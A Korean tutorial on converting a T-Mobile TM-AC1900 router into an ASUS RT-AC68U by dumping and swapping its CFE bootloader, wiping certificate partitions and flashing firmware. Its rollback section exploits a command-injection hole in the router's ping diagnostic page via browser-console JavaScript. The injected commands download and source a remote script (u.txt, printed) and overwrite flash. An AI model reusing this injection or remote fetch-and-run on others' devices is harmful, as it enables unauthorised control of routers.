13 min read

TM-AC1900 펌웨어 덮어씌우기

면책사항

본 문서는 TM-AC1900 기기의 펌웨어를 조작하는 내용을 포함하며, 이러한 조작은 잠재적으로 기기를 망가뜨릴 수 있는 위험성을 가지고 있다. 독자가 본 문서의 내용을 참고함으로써 발생하는 모든 직/간접적인 결과는 독자의 책임이며, 필자는 이에 대해 어떠한 책임도 지지 않는다. 예를 들면, 기기가 고장나거나, 기기 고장으로 네트워크를 사용하지 못하여 발생한 결과에 대하여 필자에게 책임을 물을 수 없다는 것이다.

본 문서의 내용은 언제든 변경될 수 있으며, 언제나 정확한 내용을 포함한다고 보증하지 않는다. 잘못된 내용을 포함할 수 있으므로, 독자는 본 문서의 내용을 찬찬히 살펴보고, 문제가 없는지 파악한 뒤 작업해야 할 것이다.

본 문서는 독자가 기본적인 윈도우 네트워크 설정 및 리눅스 콘솔 사용법을 알고 있다고 전제하고 작성하였다. IP 설정 등을 모른다면 이 문서를 참고하면 안 된다. 그냥 아는 친구에게 밥 한 끼 사 주고 부탁하자.

정상 상태인 기기

여기에서 정상 상태라 함은, TM 펌웨어 376.3199로 롤백당하지 않은 상태를 의미한다. miniCFE로 부트하여 펌웨어 덮어씌우기가 가능한 상태면 어떻게든 끌고올라갈 수 있다.

롤백당한 경우 문서의 하단을 참고한다.

준비물

  • TM-AC1900-376.1703 trx 파일을 검색해서 다운로드 한다.
  • RT-AC68U-376.3626 trx 파일을 검색해서 다운로드 한다. ASUS 홈페이지에서는 이 파일을 더 이상 제공하지 않는다.
  • ASUS 홈페이지에서 AC68U 최신 펌웨어 파일을 다운로드 한다.
  • mtd-write 바이너리 파일을 검색해서 다운로드한다. 필자는 버전2를 사용한다.
  • 윈도우에서 작업한다면 PuTTYWinSCP 최신버전을 다운로드하여 설치한다. 맥이나 리눅스에서 작업하면 필요없다.
  • OS에 의존하지는 않지만, 윈도우 환경을 기준으로 설명하므로 맥이나 리눅스에서 작업한다면 적절히 대체해서 작업하면 된다.

TM 펌웨어 다운그레이드

이 단락의 목표는 기기에 TM 펌웨어 376.1703을 설치하는 것이다. CFE 추출 및 개조 작업을 하려면 기기에 SSH 접속해야 하는데, TM 펌웨어 1703 버전이 SSH 접속을 지원하는 마지막 펌웨어이다. 이후 버전의 펌웨어는 SSH 접속이 차단되어 있다.

  1. 기기가 정상 상태이고 잘 작동하는지 확인한다. 필요한 경우 NVRAM 리셋을 수행한다.
  2. 기기의 LAN포트(노란색)와 컴퓨터를 연결한다. 기기의 WAN포트(파란색)는 아무것도 꽂지 않고 냅둔다.
  3. 컴퓨터의 IP주소 192.168.29.5[1], 서브넷 255.255.255.0, 게이트웨이 192.168.29.1로 설정한다.
  4. 기기를 miniCFE 모드로 진입하고, TM-AC1900-376.1703 펌웨어 파일을 올린다. 업로드는 대략 3분 정도 걸린다.
  5. 기기가 자동으로 재부팅된다. 웹 브라우저에서 192.168.29.1을 열어서 설정 페이지에 접속한다. 기본값으로 ID=admin, PW=password를 사용한다.
  6. 기본 설정은 다 건너뛰어도 된다. 관리 - 시스템 페이지에 들어가서 SSH를 활성화하고 저장한다.

CFE 추출 및 개조

이 단락의 목표는 기기의 CFE를 추출하고, 이를 AC68U의 것으로 교체하는 것이다. CFE는 컴퓨터의 BIOS처럼 전원을 켰을때 기기 점검 등을 담당하는 영역이다. CFE를 교체해야 AC68U 펌웨어를 설치할 수 있다.

  1. PuTTY를 실행하고, 기기에 ssh 접속한다. 보안 프로토콜이 구버전이라는 경고가 나지만 무시해도 된다. 로그인 ID, PW는 관리 페이지의 값을 그대로 사용한다.
    • cat /proc/mtddmesg | grep 0x0000 명령어로 플래시 메모리 구조를 확인해 볼 수 있다.
  2. cat /dev/mtdblock0 > original_cfe.bin 명령어로 CFE를 추출해 낸다.
    • 그 외에 시스템 파티션을 백업해도 된다. 별 필요는 없지만.
      cat /dev/mtdblock2 > linux.bin
      cat /dev/mtdblock4 > linux2.bin
      cat /dev/mtdblock7 > asus.bin
  3. WinSCP를 실행하고, scp 프로토콜로 기기에 접속한다. 펌웨어가 구버전이라 sftp를 지원하지 않는다. WinSCP에서도 보안 프로토콜이 구버전이라는 오류가 나지만 무시해도 된다.
  4. WinSCP에서 original_cfe.bin 파일을 다운로드 받는다.
    • 추가 백업을 했다면 그 파일들도 모두 다운로드 받는다. 그리고 추가 백업파일은 삭제한다.
  5. PuTTY 및 WinSCP를 종료하고, 컴퓨터를 인터넷에 직접 연결한다.
  6. CFEditor 사이트에 접속해서 CFE 파일을 개조하고 다운로드한다. 편의상 new_cfe.bin 으로 이름을 지정하여 다운로드한다.
    • Source CFE는 US_1.0.2.0_AiMesh를 사용하면 된다.
    • 국가와 Tx Power는 굳이 변경할 필요 없다.
  7. 다시 컴퓨터를 기기에 연결한다.[2]
  8. WinSCP를 실행하고, 기기에 접속한다. new_cfe.bin 파일, AC68U-376.3626 trx 파일과 mtd-write 파일을 기기에 업로드한다.
  9. PuTTY를 실행하고, 기기에 접속한다. CFE파일이 제대로 제작되었는지 확인한다.
    grep mac ./original_cfe.bin ./new_cfe.bin
    grep secret ./original_cfe.bin ./new_cfe.bin
    두 파일에서 같은 MAC주소와 기본 비밀번호가 표시되어야 한다. 서로 다른값이 표시된다면 잘못 생성된 것이므로 4단계로 돌아간다.
  10. mtd-write 파일에 실행 권한을 부여한다.
    chmod +x mtd-write
    ./mtd-write
    mtd-write 사용 설명이 표시되어야 한다.

플래싱

이 단락의 내용은 잘못 수행하는 경우 기기를 고장낼 수 있으므로 유의한다.
전원 공급이 불안정하면 기기가 벽돌이 될 수 있으므로 유의한다.

이 단락의 목표는 다음과 같다.

  • T-Mobile 인증서 영역 삭제. T-Mo 인증서가 남아있으면 기기가 TM 펌웨어 376.3199로 롤백당한다.
  • CFE 덮어씌우기. 기기 모델명을 AC68U로 변경하는 것이다.
  • ASUS 펌웨어 376.3626 설치하기.

추가적으로 TM 펌웨어 백업영역도 삭제할 것이다.

T-Mo 인증서 영역 삭제하기

T-Mo 인증서는 플래시메모리의 마지막 1.25MiB 영역에 저장된다. 이를 깡그리 밀어버릴 것이다. mtd-erase로 지워지면 편한데 안되므로, 더미파일을 작성해서 0xFF로 밀어버릴 것이다.

  1. 0xFF로 채워진 1.25MiB 크기의 더미파일을 작성한다.
    dd if=/dev/zero ibs=1k count=1280 | tr "\000" "\377" > paddedFile.bin
  2. T-Mobile 인증서 영역을 언마운트 한다.
    umount /T-Mobile
  3. dd로 인증서 영역을 밀어버린다. 이 때 대상 블럭에 주의한다[3].
    dd if=paddedFile.bin of=/dev/mtdblock7
  4. 다시 마운트해서 인증서 파일이 남아있는지 확인해 본다.
    mkdir asus && mount -t jffs2 /dev/mtdblock7 ./asus
    ls -al ./asus/
    아무런 파일도 존재하지 않아야 한다.

linux2 파티션 삭제하기

이 영역에는 TM 구형 펌웨어가 저장된다. 포맷 이후에도 찌꺼기가 남으면 찝찝하니 밀어주자. 안 해도 된다.

  1. mtd-erase2 linux2 명령어를 입력한다. 30초쯤 걸리며 아무런 출력 없이 커서가 돌아올 것이다.

CFE 플래싱

이 영역에는 CFE가 저장된다. 개조한 AC68U의 CFE로 덮어씌울 것이다.

  1. ./mtd-write -i new_cfe.bin -d boot 명령을 입력한다. 2~3초쯤 걸리며 아무런 출력 없이 커서가 돌아올 것이다.

linux 파티션 플래싱 및 재부팅

이 영역에는 펌웨어 파일이 저장된다. TM 펌웨어를 밀어버리고 AC68U의 것으로 직접 덮어씌울 것이다.

이 때 사용하는 명령어는 mtd-write2 이며, CFE 플래싱을 위한 mtd-write 가 아니므로 주의한다. mtd-write를 사용하면 CRC fail이 뜨며, 기기가 반벽돌이 될 것이다. 이 때는 miniCFE에서 복구해야 한다.

  1. mtd-write2 FW_RT_AC68U_30043763626.trx linux 명령어를 입력한다. 30초쯤 걸리며 linux: CRC OK 결과가 출력되어야 한다.
  2. 이후 10초정도 더 기다려서 쓰기작업이 끝나기를 기다린다.
  3. 시스템영역을 덮어썼기 때문에, 기기가 정상적으로 작동하지 않는다. 이제 기기의 전원을 끈다.

마무리 작업

  1. 컴퓨터 IP주소를 DHCP설정으로 되돌린다.
  2. 기기의 NVRAM 초기화를 수행한다.
  3. 컴퓨터에서 브라우저로 192.168.1.1에 접속하여 AC68U 펌웨어가 정상적으로 잡히는지 확인한다.
  4. 최신 펌웨어로 업그레이드 하거나 개조 펌웨어를 설치해서 쓰면 된다.

추가정보 : MTD blocks

기기 내부의 플래시메모리는 128MiB이며, 커널에서 mtdblock장치로 구분되어 마운트 된다.
이 때 주소에 따른 MTD block 구성은 다음과 같다.


롤백 상태의 기기

source : https://docs.google.com/document/d/1NsZMONmJ70zMmoAKKQJXbTVKytaPJptWTpqih1TD5n8/edit

펌웨어 덮어쓰기 작업에서 T-Mo 인증서 영역을 제대로 정리하지 않은 경우, ASUS 펌웨어 384.20648 및 이후 버전을 설치하면 TM 펌웨어 376.3199 및 CFE 2.1.2.7로 롤백되며, miniCFE 펌웨어 업그레이드 및 시리얼콘솔을 이용한 개조작업이 모두 막히게 된다.

다만 TM 펌웨어 376.3199의 보안이 좀 병맛이라, 보안구멍을 이용하여 펌웨어 덮어쓰기가 가능할 수는 있다. 경우에 따라 안 될 수도 있으므로 주의할 것.

  1. USB 메모리를 준비하고, FAT32로 포맷한다. 디스크 이름도 USB로 바꾼다.
  2. TM-AC1900-376.1703 trx 파일을 USB로 복사하고, 편의상 파일이름을 firmware1703.trx 로 변경한다.
  3. 기기를 NVRAM 초기화하고 LAN포트(노란색)은 컴퓨터에, WAN포트(파란색)은 인터넷에 연결한다.
  4. 위에서 제작한 USB를 기기의 USB2.0 포트(검정색)에 꽂는다.
  5. 크롬이나 파이어폭스를 이용해서 공유기 설정 페이지에 접속한다.
  6. 네트워크 도구 - 분석으로 들어가고, F12를 눌러서 브라우저의 관리자 개발자 도구를 켠다. Method에 ping이 선택되어 있어야 한다.
  7. 개발자 도구에서 자바스크립트 콘솔을 열고, 다음 명령을 입력한다.
    validForm = function(){document.form.SystemCmd.value = "ping\necho hello world";return true;}
  8. 개발자 도구를 열어둔 상태로, 웹페이지에서 분석 버튼을 누른다.
  9. 결과창에 'hello world'라고 떠야 한다. 안 뜨면 이 방법을 적용할 수 없다.
  10. 다음 명령으로 위 과정을 반복한다.(콘솔에 명령어 넣은 후 웹페이지 분석 클릭)
    • validForm = function(){document.form.SystemCmd.value = "ping\nmount -t tmpfs tmpfs userRpm";return true;}
    • validForm = function(){document.form.SystemCmd.value = "ping\nmount";return true;}
      출력내용 중 tmpfs on /web/useRpm 라는 내용이 있어야 한다.
    • validForm = function(){document.form.SystemCmd.value = "ping\ncp -a . userRpm";return true;}
      출력내용 중 recursion detected, omitting useRpm 라는 내용이 있어야 한다.
    • validForm = function(){document.form.SystemCmd.value = "ping\nmount --move userRpm .";return true;}
    • validForm = function(){document.form.SystemCmd.value = "ping\nmount";return true;}
      출력내용 중 tmpfs on /web 라는 내용이 있어야 한다.
    • validForm = function(){document.form.SystemCmd.value = "ping\nservice restart_httpd";return true;}
    • validForm = function(){document.form.SystemCmd.value = "ping\nwget -A txt -r -nH -nd --no-check-certificate tmac1900.weebly.com";return true;}
      출력내용 중 u.txt downloaded 라는 내용이 있어야 한다.
    • validForm = function(){document.form.SystemCmd.value = "ping\n. u.txt "+encodeURIComponent("find /tmp/mnt -name firmware1703.trx" ).replace(/%/g,"..");return true;}
      출력내용 중 /tmp/mnt/USB/firmware1703.trx 식의 내용이 있어야 한다. 덮어씌울 펌웨어 파일의 경로이므로 복사해 둔다.
    • validForm = function(){document.form.SystemCmd.value = "ping\n. u.txt "+encodeURIComponent("mtd-write2 /tmp/mnt/USB/firmware1703.trx linux").replace(/%/g,"..");return true;}
      펌웨어 덮어씌우는 명령이다. 당연하지만 경로를 위에서 찾은 것으로 적절히 변경해 주어야 한다. 결과가 뜰 때까지 시간이 조금 걸리며, CRC OK 가 뜰 때까지 기다린다.
  11. 기기 전원을 끄고 NVRAM 초기화한다.
  12. 재부팅하면 TM 펌웨어 376.1703으로 다운그레이드 되었을 것이다. CFE도 롤백되므로, CFE 추출부터 다시 진행하면 된다.

u.txt

sh -x -c "`echo "$*"|sed -e 's,[.][.]\([0-9A-F][0-9A-F]\),%\1,g' -e 's,%20, ,g' -e 's,%23,#,g' -e 's,%24,$,g' -e 's,%2F,/,g' -e 's,%3A,:,g' -e 's,%3B,;,g' -e 's,%3C,<,g' -e 's,%3D,=,g' -e 's,%3E,>,g' -e 's,%5F,_,g' -e 's,%25,%,g' `"

  1. 사실 끝자리 5 대신 서브넷 대역에 들어가는 2~254 중 아무거나 써도 된다. ↩︎

  2. Hex 편집기를 이용해서 5~7단계를 오프라인으로 진행할 수도 있다. 실수할 가능성이 있으므로 추천하는 방법은 아니다. ↩︎

  3. TM 구버전 펌웨어는 MTD블럭이 7개가 존재하며, ASUS 376.3626 펌웨어로 업그레이드 하면서 파티션 구조가 바뀌면서 MTD블럭이 5개로 줄어든다. 이미 CFE를 개조한 기기라면 mtdblock5 를 덮어야 한다. ↩︎